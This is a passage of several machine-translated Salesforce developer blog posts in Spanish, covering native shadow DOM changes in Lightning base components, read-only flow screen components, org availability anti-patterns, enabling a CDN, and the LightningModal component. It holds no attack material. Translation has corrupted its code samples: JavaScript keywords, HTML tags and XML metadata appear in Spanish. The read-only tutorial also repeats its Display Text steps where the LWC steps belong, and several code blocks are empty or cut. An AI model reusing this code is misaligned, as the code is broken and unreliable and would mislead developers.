Al probar manualmente sus aplicaciones, es posible que detecte un componente personalizado que funcionaba anteriormente y que no tiene el aspecto esperado. Debido a estos cambios, sus pruebas automatizadas de un extremo a otro también pueden fallar. En ambos casos, puede significar que su código personalizado o código de prueba depende de las partes internas de un componente base que ha cambiado . Exploremos estos dos problemas con más profundidad:

Un componente no se ve como se esperaba:

  • Problema: Intentar diseñar el elemento o las clases personalizadas dentro de un componente base puede generar resultados imprevistos.
  • Solución: El cambio de sombra sintética a componentes totalmente encapsulados con DOM de sombra nativo puede cambiar su estrategia de CSS. Al migrar sus personalizaciones de estilo a la sombra nativa, siga estos pasos:
    • Consulte la disponibilidad de un gancho para peinar . Ofrecen un excelente método para adaptar un componente sin profundizar en las complejidades del CSS subyacente o el shadow DOM.
    • Asegúrese de que el valor que está aplicando al gancho de estilo esté vinculado a su sistema de diseño en lugar de un valor fijo y predefinido. Evite usar un valor codificado.

Una prueba de extremo a extremo falla:

  • Problema: Cualquier implementación que use combinadores CSS fallará. Por ejemplo, lightning-foo > p no coincidirá con nuestro marcado actualizado.
  • Solución: Los combinadores hacen que el CSS sea frágil y deben evitarse a menos que se usen por una buena razón. La mayoría de las veces, los combinadores se pueden eliminar sin ninguna regresión. Si se desea un elemento específico, se pueden usar otros métodos de orientación que no se basen en el marcado que nunca cambia. Es decir, evite apuntar explícitamente a elementos HTML siempre que sea posible. Use otros selectores disponibles, como clases que permiten que su uso de CSS sea abstracto, modular y separado del elemento HTML. Si sus pruebas se basan en combinadores de CSS, le recomendamos que adopte el Modelo de automatización de pruebas de interfaz de usuario (UTAM) para evitar cambios importantes en el futuro, ya que los objetos de la página se mantienen actualizados con todos los cambios de componentes.

Conclusión

En resumen, estamos logrando avances significativos al preparar los componentes base de Lightning para adoptar Shadow DOM nativo, lo que garantizará un mejor rendimiento y la alineación con los estándares de los componentes web, además de mejorar la seguridad y la confiabilidad de los componentes. Al encapsular la estructura DOM interna, nos esforzamos por brindar una experiencia más sólida y predecible tanto para los desarrolladores como para los usuarios.

Si bien estos cambios pueden presentar algunos desafíos iniciales, son pasos necesarios hacia un sistema más estandarizado y preparado para el futuro. Seguimos comprometidos a informar y apoyar a los desarrolladores durante esta transición.

En preparación para estos cambios, recomendamos adoptar ganchos de estilo y métodos de orientación como clases para garantizar que el uso de CSS siga siendo modular y adaptable. Además, recomendamos enfáticamente adoptar UTAM como su solución de prueba de extremo a extremo.

Estén atentos a más actualizaciones y cambios a medida que Salesforce continúa optimizando y mejorando el marco de componentes Lightning. Al adoptar estas próximas mejoras, los desarrolladores pueden esperar una experiencia de desarrollo más fluida y eficiente mientras crean aplicaciones poderosas en la Plataforma Salesforce.

Más recursos

Sobre los autores

Maeve Tuntivate es Gerente sénior en el equipo de Gestión de productos en Salesforce.

Jesse Brack es ingeniero principal de UX en el equipo de ingeniería de sistemas de diseño de Salesforce.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2023/05/base-lightning-component-internal-dom-structure-changes-for-future-native-shadow-support.html

Categories
Developers

Diferentes formas de hacer que el componente de la pantalla sea de solo lectura

Última actualización el 9 de abril de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo hacer que el componente de pantalla sea de solo lectura?

Objetivos:

Después de leer este blog, podrá:

  • Agregue texto de solo lectura al componente de pantalla usando Display Text
  • Agregar texto de solo lectura al componente de pantalla mediante un componente web Lightning personalizado
  • Configurar el componente web lightning personalizado para el flujo de pantalla
  • Y mucho más

¿Qué es el componente de solo lectura?

Los estados de solo lectura se aplican a los componentes cuando el usuario puede revisar pero no modificar el valor. Salesforce Flow tiene una función nativa para mostrar textos en formato de solo lectura, pero a veces no es suficiente para el diseño de UI/UX.

Ahora puedes ver la diferencia entre las dos opciones. Recomiendo usar la función estándar lista para usar si cumple con los requisitos de su negocio.

Warren Mason es administrador de sistemas en Gurukul on Cloud (GoC). En GoC están utilizando Salesforce Flow para optimizar los procesos de ventas. Warren tiene el requisito de mostrar los siguientes campos de usuarios registrados en un flujo de pantalla en el modo de solo lectura:

  1. Nombre de pila
  2. Apellido
  3. Correo electrónico
  4. Móvil

Enfoque de Campeón de Automatización (I-do): Opción 1 – Mostrar texto

Usaremos un elemento Display Text para resolver el requisito comercial anterior.

Paso 1: Definir propiedades de flujo

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos y luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   opción y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 2: agregue un elemento de pantalla para mostrar los campos en modo de solo lectura

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Paso 2.1: agregue un componente de texto de visualización para mostrar los detalles del usuario que ha iniciado sesión

  1. En la sección Entrada en Elemento de pantalla , arrastre y suelte el componente Mostrar texto en la pantalla.
  2. Ingrese la siguiente información :
    1. Introduzca un nombre en el campo Nombre de API .
    2. Escriba su mensaje en el cuadro de texto, como se muestra en el video.
  3. Haga clic en Listo.

Al final, Warren's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, guarde el flujo.

Prueba de concepto

A partir de ahora, cuando un usuario comercial ejecute el flujo de pantalla, se mostrará automáticamente la información del usuario que inició sesión en formato de solo lectura.

Enfoque de campeones de automatización (I-do): Opción 2: componente de pantalla de flujo personalizado (componente web Lightning)

Crearemos un componente de pantalla de flujo personalizado utilizando el componente web Lightning para resolver el requisito comercial anterior.

Paso 1: Cree un componente de flujo de pantalla personalizado utilizando el componente web Lightning

En primer lugar, cree un componente web Lightning de solo lectura con el siguiente código. Si no sabe cómo crear un componente Lightning, consulte esta guía para desarrolladores Crear un componente web Lightning .

screenFlowReadOnlyComponent.html


<plantilla> <template lwc:if={isCheckboxField}> <lightning-input type={fieldType} label={fieldLabel}checked={fieldValue} disabled="true" field-level-help={fieldLevelHelp}></lightning-input> </plantilla> <template lwc:elseif={isPhoneField}> <lightning-input type={fieldType} label={fieldLabel} value={fieldValue} disabled="true" pattern="[0-9]{3}-[0-9]{3}-[0-9] {4}" ayuda a nivel de campo={fieldLevelHelp}></entrada-relámpago> </plantilla> <plantilla lwc: más> <lightning-input type={fieldType} label={fieldLabel} value={fieldValue} disabled="true" field-level-help={fieldLevelHelp}></lightning-input> </plantilla>
</plantilla>

screenFlowReadOnlyComponent.js


import { LightningElement, wire, api, track } desde 'lwc'; exportar la clase predeterminada ScreenFlowReadOnlyField extiende LightningElement { @api etiqueta de campo; @api campoValor; @api tipo de campo; @api fieldLevelHelp; isCheckboxField = falso; isPhoneField = falso; conectadoDevolución de llamada() { if (this.fieldType != null && (this.fieldType=='toggle' || this.fieldType=='checkbox' )) { this.isCheckboxField = verdadero; } else if (this.fieldType != null && this.fieldType=='tel'){ this.isPhoneField = verdadero; }
}
}

screenFlowReadOnlyComponent.xml


<?versión xml="1.0" codificación="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>57.0</apiVersion> <isExposed>verdadero</isExposed> <masterLabel>Componente de solo lectura</masterLabel> <description>Componente de solo lectura</description> <objetivos> <target>relámpago__FlowScreen</target> </objetivos> <configuraciones de destino> <targetConfig objetivos="relámpago__FlowScreen"> <property name="fieldLabel" label="Field Label" type="String" required="true" description="La etiqueta que aparece sobre el campo."/> <property name="fieldValue" label="Valor de campo" type="String" required="true" description="Para proporcionar un valor, establezca este valor de atributo."/> <property name="fieldType" label="Field DataType" type="String" required="true" description="Los tipos de entrada válidos son casilla de verificación, fecha, fecha y hora, correo electrónico, contraseña, teléfono, URL, número, texto ( predeterminado), alternar."/> <property name="fieldLevelHelp" label="Ayuda de nivel de campo" type="String" description="Texto de ayuda"/> </targetConfig> </configuraciones de destino>
</LightningComponentBundle>

Copie el código de GitHub o instálelo usando esta URL .

Paso 1: Definir propiedades de flujo

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos y luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   opción y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 2: agregue un elemento de pantalla para mostrar los campos en modo de solo lectura

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Paso 2.1: agregue un componente de texto de visualización para mostrar los detalles del usuario que ha iniciado sesión

  1. En la sección Entrada en Elemento de pantalla , arrastre y suelte el componente Mostrar texto en la pantalla.
  2. Ingrese la siguiente información :
    1. Introduzca un nombre en el campo Nombre de API .
    2. Escriba su mensaje en el cuadro de texto, como se muestra en el video.
  3. Haga clic en Listo.

Al final, Warren's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, guarde el flujo.

Prueba de concepto

A partir de ahora, cuando un usuario comercial ejecute el flujo de pantalla, se mostrará automáticamente la información del usuario que inició sesión en formato de solo lectura.

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2023/04/09/different-ways-to-make-screen-component-read-only-2/

Categories
Developers Tutoriales de Salesforce

Mejore la disponibilidad en su organización ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Mejore la disponibilidad en su organización | Blog de desarrolladores de Salesforce

Piense en un momento en el que su solución no funcionó como se esperaba. Tal vez sus usuarios experimentaron un rendimiento deficiente al actualizar un registro que tenía numerosos activadores de Apex, o una integración con la API REST de Salesforce se vio abrumada por un gran volumen de llamadas debido a un evento. Estas experiencias pueden ser desde inconvenientes menores hasta una interrupción total del servicio para sus usuarios. La buena noticia: a menudo, estos incidentes de disponibilidad limitada se pueden prevenir pensando en el futuro y codificando de manera eficiente con la disponibilidad y la resiliencia como prioridad.

¿Qué es la disponibilidad?

La disponibilidad es el porcentaje de tiempo que un servicio maneja con éxito las solicitudes. Salesforce mide y rastrea este porcentaje para asegurarse de que nuestros servidores y servicios estén altamente disponibles para cada cliente.

Si bien la disponibilidad del servidor y del servicio es fundamental para Salesforce, la disponibilidad experimentada por el cliente lo es aún más, lo que se relaciona directamente con la forma en que los usuarios experimentan Salesforce. Por ejemplo, ¿pueden los usuarios iniciar sesión en su organización y actualizar registros de forma rápida y confiable? ¿Se actualizan los datos a través de las API de manera eficiente y sin errores?

La disponibilidad experimentada por el cliente es difícil de medir, ya que cada organización, usuario y empresa es única. La experiencia de un usuario puede variar mucho según muchos factores, como el código Apex y el diseño del componente Lightning, la región geográfica y la conexión de red. A pesar de la variabilidad de estos factores, Salesforce considera que la disponibilidad es una prioridad principal como parte de nuestro valor central de confianza.

¿Por qué debería importarme la disponibilidad?

La disponibilidad, o la falta de ella, afecta a todos: a usted, a sus usuarios ya su empresa. Una organización de alta disponibilidad significa que sus usuarios pueden continuar con sus responsabilidades mientras respaldan el crecimiento de su empresa. Una organización que se desempeña de manera deficiente o poco confiable crea frustraciones y, en casos extremos, podría afectar financieramente o en la reputación de su empresa.

Como desarrollador, la forma en que codifica su solución de Salesforce tiene un impacto directo en la experiencia de sus usuarios. Es importante que su código no solo satisfaga los requisitos funcionales y comerciales, sino que sus usuarios puedan interactuar con confianza y ejecutar el código que escribió, siempre que lo necesiten.

¿Qué antipatrones de disponibilidad común debo evitar?

Como desarrollador, esté atento a estos antipatrones comunes y haga preguntas críticas para evitarlos.

Anti-patrón #1: Diseños de integración frágiles

Si bien es fácil concentrarse en el "camino feliz" de una integración y codificar algo simple, ¿cómo resiste su integración las excepciones o la presión? Aquí hay algunas preguntas comunes para hacer antes de codificar una integración:

  • ¿Cuál es el volumen esperado de datos que pasarán por la integración y a qué velocidad? La API REST de Salesforce puede insertar o actualizar 200 registros a la vez. Realizar una llamada a la API para actualizar 200 registros es mucho más rápido y utiliza mucha menos capacidad del servidor que tener 200 llamadas a la API para actualizar un registro cada una.
  • ¿Puede su integración cambiar entre REST y Bulk API según el volumen y la velocidad de los datos que ingresan?
  • ¿Qué sucede si la lógica de validación, activación o Flujo cambia en Salesforce en el futuro y luego rechaza la actualización del registro en la API?
  • ¿Qué pasa si Salesforce está fuera de servicio por mantenimiento? ¿Puede la integración retener llamadas API pendientes y reprocesarlas cuando Salesforce está disponible? ¿Puede el backlog manejar eficientemente el alto volumen de transacciones?
  • ¿Cómo se manejan los errores inesperados? ¿Se registran y notifican los errores de la API de Salesforce para que su equipo los investigue?

Aborde estas preguntas desde el principio en el diseño de la integración y garantice una integración más confiable, resistente y adaptable durante situaciones imprevistas.

Antipatrón n.º 2: falta de visibilidad lógica de Apex en su "marco de activación"

Es fantástico que tantos desarrolladores estén adoptando el concepto de un marco de activación para modularizar y administrar fácilmente la lógica de Apex. Sin embargo, hemos visto que este tipo de framework también puede ser un arma de doble filo, por ejemplo:

  • Múltiples equipos de desarrollo están trabajando en la lógica de Apex que recurre al disparador antes/después del mismo objeto. Sin embargo, los equipos no tienen visibilidad del trabajo de los otros equipos. Como resultado, la lógica de Apex combinada consume una mayor parte de los límites de Apex y supera los límites del regulador.
  • Organizaciones que tienen lógica repartida entre flujos, Process Builders, flujos de trabajo y código Apex. Esto consume una cantidad significativa de la capacidad del servidor cuando se ejecuta y puede causar conflictos lógicos e infracciones del límite del gobernador, sin mencionar una pesadilla de mantenimiento con una deuda tecnológica considerable.

Para evitar conflictos, haga las siguientes preguntas cada vez que usted o su equipo planeen agregar nueva lógica o procesos a su marco de activación:

  • ¿Qué otra lógica se ejecutará junto con lo que estoy a punto de codificar? ¿Cuánto de los límites del gobernador están consumiendo ya y cuánto puedo usar?
  • ¿Se puede combinar mi lógica con otra lógica? Por ejemplo, ¿podemos compartir consultas SOQL existentes y agregar uno o dos campos más a la consulta? ¿Se pueden agrupar las actualizaciones de campos de registro en otra lógica que tenga declaraciones DML existentes?
  • ¿Agregarán otros desarrolladores o administradores más lógica a la organización, con o sin disparadores o flujos? ¿Cómo nos coordinamos para que la lógica adicional no entre en conflicto con lo que hago?
  • ¿Puedo hacer más con menos? Guardar una consulta SOQL o una declaración DML puede no parecer mucho. Sin embargo, si su organización tiene miles de transacciones en una hora, puede guardar miles de consultas a la base de datos y liberar capacidad del servidor, lo que significa que es menos probable que su organización experimente una degradación del rendimiento.

Antipatrón n.º 3: Despliegue no estructurado durante las horas pico

La mayoría de los incidentes de disponibilidad ocurren cuando se realizan cambios en la configuración de su organización en producción. Puede pensar que se deben a cambios no probados. Sin embargo, el problema más común causado por la implementación proviene de los trabajos en segundo plano que se ejecutan debido a un cambio de metadatos. Por ejemplo:

  • El cambio de campos personalizados en objetos con millones de registros hace que toda la tabla de la base de datos se active en esos registros en segundo plano.
  • La implementación de código nuevo invalida el código de Apex compilado existente y activa un trabajo en segundo plano en la recompilación de Apex.

Estos trabajos en segundo plano también consumen capacidad del servidor que podría usarse para atender las interacciones de los usuarios y las llamadas a la API. Cuando se ejecutan durante las horas de trabajo pico de su organización, aumenta el riesgo de sobrecargar el servidor y perjudicar la experiencia de sus usuarios.

Este problema se puede agravar aún más con los cambios de metadatos no estructurados, como cambiar manualmente un campo personalizado a través de la interfaz de usuario de configuración y luego pasar a realizar otro cambio manual en un campo personalizado diferente.

La próxima vez que planee implementar código, considere cómo puede hacerlo de manera más eficiente y formule las siguientes preguntas:

  • ¿Cuál es el mejor momento para implementar código que minimice el riesgo de interrupción del usuario?
  • ¿Cómo puedo agrupar todos mis cambios para implementarlos al mismo tiempo? (Sugerencia: ¡ Salesforce DX y DevOps Center !)
  • ¿Hay también otras implementaciones de otros equipos? ¿Podemos trabajar para implementar de manera eficiente sin entrar en conflicto entre nosotros?

Antipatrón n.° 4: falta de registros o alertas de depuración significativos

Al desarrollar una solución de Salesforce, está atendiendo las necesidades de los usuarios comerciales, los administradores y el equipo de operaciones de TI. Están ejecutando y administrando su organización, y es fundamental que sepan cómo funciona la organización y cuándo responder si se producen errores. Necesitan visibilidad de cualquier lógica compleja que introduzca en la organización. La mejor manera de proporcionar eso es a través del registro de depuración y garantizar que las alertas de error lleguen a ellos.

Hágase estas preguntas para dar a sus administradores y personal de operaciones de TI visibilidad de las operaciones de su código:

  • ¿Cómo pueden saber si mi código funciona como se espera y cuánto utilizan los usuarios?
  • ¿Qué tipo de errores pueden ocurrir en mi código? ¿Cómo puedo alertar de esos errores a los administradores y al equipo de operaciones de TI de manera efectiva?
  • Si quieren clasificar y diagnosticar problemas potenciales, ¿cómo pueden ver cómo se ejecuta mi código sin abrumarlos con cada línea de código?

Anti-patrón #5: Mentalidad de “Arreglarlo primero” durante emergencias

Los desarrolladores a menudo reciben un aviso cuando una organización encuentra un problema que impide que los usuarios realicen funciones comerciales clave. Por lo general, se enfocan en "solucionar el problema" para devolver el servicio a los usuarios. Sin embargo, durante un incidente de disponibilidad de emergencia, esto puede ser perjudicial.

Durante un incidente, el orden de prioridad de las operaciones debe ser minimizar el impacto comercial, recuperar las operaciones del sistema y luego encontrar y corregir la causa raíz.

Cuando se le pida que analice un problema durante un incidente, pregúntese:

  • ¿Cómo se ven afectados los usuarios por el incidente en este momento? ¿Cómo puedo minimizar rápidamente su impacto?
  • ¿El incidente es causado por un cambio reciente? En caso afirmativo, ¿puedo revertir el cambio?
  • ¿Cómo permito que los administradores y el equipo de operaciones de TI evalúen el incidente? ¿Pueden recopilar detalles valiosos sobre el incidente, de modo que pueda abordar directamente el problema y poner las operaciones en línea?

No olvide realizar una autopsia después de un incidente para investigar la causa raíz y solucionar el problema. Esto debería suceder después de que se solucione un incidente.

Más sugerencias para mejorar la disponibilidad en su organización

Es un curso intensivo sobre cómo usted, como desarrollador y su código, pueden mejorar la disponibilidad de su organización. No esperamos que se convierta en un experto de inmediato, pero puede comenzar a mejorar la disponibilidad hoy:

  • Tener curiosidad acerca de su organización y su diseño. Si ve una ineficiencia existente, agréguela al trabajo pendiente para investigar.
  • Haciendo preguntas. Si se le asignan requisitos para el código, pero implicaría soluciones que podrían crear problemas de escalabilidad en el futuro, sea proactivo al señalar los posibles riesgos de disponibilidad durante la revisión del diseño para asegurarse de que estén cubiertos mientras escribe su código.
  • Manténgase actualizado sobre las mejores prácticas utilizando la Ayuda de Salesforce y el sitio web de desarrolladores de Salesforce . Si no puede encontrar una respuesta, consulte Trailblazer Community .
  • Seguir aprendiendo. Utilice Trailhead para mantenerse actualizado y familiarizarse con lo último y lo mejor que sale de Salesforce.

Tenemos varios recursos para ayudarlo en el camino. Consulte Disponibilidad de Salesforce , un nuevo sitio web lanzado para ayudarlo a mejorar la disponibilidad de su implementación. Además, la nuevaAyuda y capacitación sobre disponibilidad cubre las mejores prácticas de disponibilidad con más detalle. También estamos trabajando en estrecha colaboración con Well-Architected para garantizar que estos conceptos estén bien integrados en un marco único para que todos los profesionales de Salesforce los sigan. Esté atento a medida que implementamos más herramientas y recursos para ayudar a mejorar la disponibilidad en el futuro cercano.

Sobre el Autor

Jsun Pe es director de gestión de productos en servicios de ingeniería de disponibilidad e infraestructura en Salesforce, y se enfoca en permitir que los clientes de Salesforce construyan soluciones de Salesforce resistentes y de alta disponibilidad. Desde que comenzó en el ecosistema de Salesforce en 2009, fue testigo del crecimiento de la Plataforma de Salesforce mientras obtenía su credencial de Arquitecto técnico certificado de Salesforce. Jsun ayudó a desarrollar prácticas técnicas para los principales socios de consultoría en Australia y Nueva Zelanda, luego se unió a Salesforce en 2016. Durante este tiempo, descubrió su interés en las consideraciones de arquitectura avanzada en el rendimiento y la disponibilidad de la plataforma, lo que finalmente lo llevó a su puesto actual.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2023/03/improve-availability-in-your-org.html

Categories
Developers Tutoriales de Salesforce

Habilite CDN para cargar Lightning Experience más rápido ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Habilitar CDN para cargar Lightning Experience más rápido | Blog de desarrolladores de Salesforce

Una red de entrega de contenido (CDN) reduce el tiempo de carga del contenido estático al almacenar versiones en caché en múltiples ubicaciones geográficas. Salesforce tiene una configuración que permite que Lightning Experience aproveche la CDN de Akamai con un simple clic en una casilla de verificación en Configuración. En esta publicación, exploramos cómo una CDN puede mejorar el rendimiento. Presentamos cómo se aplica a la Plataforma Salesforce y brindamos orientación sobre cómo habilitarlo para su organización. ¿Qué es una red de entrega de contenido? Todos los activos utilizados para representar su sitio se almacenan en la instancia de Salesforce de su empresa. La instancia de su empresa se almacena en uno de los servidores de Salesforce. Cuanto más lejos estén sus usuarios del servidor donde se almacena su instancia, más tiempo llevará obtener los activos en su computadora y en las páginas de su sitio. Una red de entrega de contenido (CDN) es una red de servidores distribuida geográficamente que almacena versiones en caché de activos web. CDN minimiza los retrasos en la carga del contenido de la página web al reducir la distancia entre el servidor y el usuario. También aumenta la cantidad de solicitudes a las que el servidor puede responder, ya que la CDN descarga una gran parte de las solicitudes del servidor. Al reducir la distancia entre el servidor y el usuario y aumentar la disponibilidad y la redundancia del contenido, las CDN mejoran los tiempos de carga y el rendimiento del sitio web.

¿Qué sucede cuando se habilita un CDN?

El almacenamiento en caché en nuestra CDN mejora el rendimiento y la escala de su sitio. Cuando sus usuarios acceden a un sitio atendido por la CDN de Salesforce, el contenido en caché se entrega directamente desde los servidores de la CDN. Los servidores CDN se distribuyen globalmente y suelen estar más cerca de sus usuarios que los servidores de Salesforce. Debido a que el contenido en caché se sirve directamente desde los servidores CDN, sus usuarios experimentan tiempos de carga más rápidos de forma rutinaria y en momentos de mucho tráfico. El almacenamiento en caché de CDN puede funcionar con el almacenamiento en caché del lado del navegador , lo que también mejora el rendimiento.

Cuando se habilita una CDN, activa la entrega de CDN para los archivos JavaScript y JSON estáticos en el marco del componente Lightning que potencia Lightning Experience. No distribuye sus datos o metadatos de Salesforce en una CDN.

Si bien habilitar esta función es simple, nuestros datos muestran que solo el 52 % de los clientes de Salesforce la tienen habilitada . Esta configuración está deshabilitada de manera predeterminada para las organizaciones creadas antes del lanzamiento de Winter '19 y está habilitada de manera predeterminada para las organizaciones nuevas y todos los sitios de Experience Builder nuevos y existentes.

Pasos para habilitar el CDN

Desde Configuración, ingrese Session en el cuadro Quick Find y luego seleccione Configuración de sesión .
Seleccione la casilla de verificación para "Habilitar la red de entrega de contenido (CDN) para el marco del componente Lightning".
Haga clic en Guardar .

Un CDN generalmente acelera el tiempo de carga de la página. Para un arranque en frío de Lightning Experience, encontramos en promedio una mejora del 15 % en el tiempo de carga para el percentil 75 de usuarios.

La CDN también cambia el dominio de origen que sirve los archivos. Si su empresa tiene restricciones de rango de IP para el contenido servido desde Salesforce, realice una prueba exhaustiva antes de habilitar esta configuración.

Si experimenta algún problema, pregunte a su departamento de TI si el cortafuegos de su empresa bloquea algún contenido de la CDN de Akamai. Su departamento de TI debe asegurarse de que https://static.lightning.force.com se agregue a cualquier lista de permitidos o firewall que opere su empresa. Puede hacer ping static.lightning.force.com , pero no puede navegar directamente a la URL raíz en https://static.lightning.force.com .

Nota IMPORTANTE

No use direcciones IP para el filtrado de red porque eso puede causar problemas de conectividad con https://static.lightning.force.com . Las direcciones IP para https://static.lightning.force.com son dinámicas y no se mantienen en la lista de direcciones IP permitidas de Salesforce.

Recursos

Sobre los autores

Eric Perret es ingeniero principal de los equipos Lightning Web Runtime Services y Lightning Experience Performance. Encuéntrelo en línea en https://www.ericperrets.info .

Ahmed Ghanem es director de gestión de productos de Lightning Web Platform Teams. Puedes seguirlo en LinkedIn .

Greg Whitworth es director sénior de LWC, LWR y los equipos de estándares y plataforma web. Puedes seguirlo en Twitter y LinkedIn .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2023/03/enable-cdn-to-load-lightning-experience-faster.html

Categories
Developers Tutoriales de Salesforce

Una inmersión profunda en el componente base LightningModal ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Una inmersión profunda en el componente base LightningModal | Blog de desarrolladores de Salesforce

Un modal es un tipo de interfaz de usuario que muestra contenido en una capa sobre la aplicación. La característica clave de un modal es que deshabilita el contenido principal hasta que el usuario interactúa explícitamente con el modal. Los modales pueden ser herramientas efectivas en el diseño de UX cuando se usan apropiadamente. En la experiencia de Salesforce Lightning, los modales se utilizan para casos de uso como la creación o edición de un registro, varios tipos de mensajes y asistentes. Los desarrolladores a menudo también tienen requisitos para usar modales en sus aplicaciones personalizadas.

El sistema de diseño Lightning de Salesforce (SLDS) proporciona un modelo para los desarrolladores que necesitan implementar modales para sus aplicaciones. Sin embargo, mantener una gran cantidad de código repetitivo ha sido un gran problema para los desarrolladores que crean componentes web Lightning (LWC) personalizados y desean utilizar modales. Con el lanzamiento de Winter '23, ahora enviamos LightningModal (consulte los documentos ), un componente Lightning base que simplifica la incorporación de modales en sus componentes. LightningModal se basa en el modelo SLDS y sigue las pautas de accesibilidad.

El uso de LightningModal en una aplicación se cubre ampliamente en los documentos , y nuestra aplicación de muestra LWC, lwc-recipes , tiene unejemplo bien escrito. En esta publicación de blog, nos centraremos específicamente en los eventos modales, que son difíciles de entender. Específicamente, con un ejemplo, profundizaremos en cómo pasar datos de su componente web Lightning al componente modal y viceversa. El objetivo es ayudarlo a comprender cómo trabajar con el componente LightningModal .

Un ejemplo de caso de uso

Para comprender cómo pasar datos de su componente web Lightning al componente modal y viceversa, exploraremos fragmentos de código de una aplicación LWC de ejemplo, "Mascot Explorer". Creé esta aplicación para ayudarnos a aprender a usar eventos modales.

El componente Mascot Picker LWC dentro de la aplicación Mascot Explorer le permite elegir su mascota de Salesforce favorita. Codey es lo que elegiría, ¡pero te dejaré elegir uno!

Puede obtener el código fuente completo de la aplicación o ver el video a continuación para ver cómo funciona el componente.

[contenido incrustado]

Composición del componente

La aplicación Mascot Picker consta de los siguientes componentes.

  • Un componente de LWC llamado " Mascot Picker " inicia el componente modal.
  • Se lanzó un componente de LWC denominado " Modal de selector de mascotas" como un modal del componente de LWC " Selector de mascotas". Este componente utiliza el componente base LightningModal .
  • Un componente de LWC de selector visual denominado "Selector visual" está contenido dentro del componente de LWC " Modal de selector de mascotas" (un elemento secundario del componente de LWC modal de selector de mascotas). El componente Visual Picker tiene un elemento de formulario de entrada del tipo radio para permitir la selección de su mascota favorita.

El siguiente diagrama puede ayudarlo a visualizar cómo se componen varios componentes.

Creación del componente LWC modal del selector de mascotas

mascotPickerModal es un componente LWC lanzado como un modal del componente Mascot Picker LWC. Está construido utilizando el componente base LightningModal . El componente mascotPickerModal LWC es único en la forma en que se extiende. Por lo general, al crear su componente, el módulo de JavaScript del componente amplía la clase LightningElement de ES6. Al crear un componente modal, el módulo de JavaScript del componente amplía la clase LightningModal de ES6.

El código para el componente mascotPickerModal es el siguiente.

<dx-code-block title language code-block="

       

«>

Y aquí está el módulo JavaScript:

Aspectos destacados del código

  • El componente mascotPickerModal extiende LightningModal como se muestra a continuación.
  • Puede definir el encabezado, el cuerpo y el pie de página modales mediante marcas de componente listas para usar, como se muestra en los fragmentos de código a continuación.

<dx-code-block title language code-block="

  ...     

«>

  • El cuerpo del modal en nuestro ejemplo usa un componente LWC personalizado, visualPicker . Este componente activa un evento de selección para indicar la selección de la mascota. El evento de selección es manejado por el componente mascotPickerModal .

<dx-code-block title language code-block="

   

«><dx-code-block title language code-block="

 handleSelect(event) { this.selectedMascot = event.detail; }

«>

  • Cuando se hace clic en el botón Confirmar en el pie de página modal, el componente envía un evento Seleccionar. Esto se muestra en los fragmentos de código a continuación. El evento de selección se maneja en el componente Mascot Picker LWC que se trata en la siguiente sección.

<dx-code-block title language code-block="

  

«><dx-code-block title language code-block="

 handleConfirm() { this.dispatchEvent( new CustomEvent("select", { detail: { selectedMascot: this.selectedMascot } }) ); // Close the Modal and pass data to the component that launched the modal this.close(this.selectedMascot); }

«>

Lanzamiento del componente Mascot Picker Modal LWC como un modal del componente Mascot Picker LWC

El componente Mascot Picker Modal que cubrimos en la sección anterior se lanza como un modal desde el componente Mascot Picker LWC. En nuestro ejemplo, el componente mascotPicker tiene un lightning-button para abrir el componente modal.

El fragmento de código para iniciar el componente mascotPickerModal LWC como modal se muestra a continuación.

<dx-code-block title language code-block="

....
 ......

«>

A continuación se muestra el fragmento de JavaScript para iniciar el componente mascotPickerModal LWC como modal desde el componente Mascot Picker LWC.

{ e.stopPropagation(); // Call function to handle the selection event this.handleSelectEvent(e.detail); } }).then((result) => { // Promise handler for the Modal opening // Result has values passed via the close event from the Modal component console.log(result); }); } // function to handle the selection event handleSelectEvent(detail) { this.selectedMascot = detail.selectedMascot; }
} «>

Aspectos destacados del código

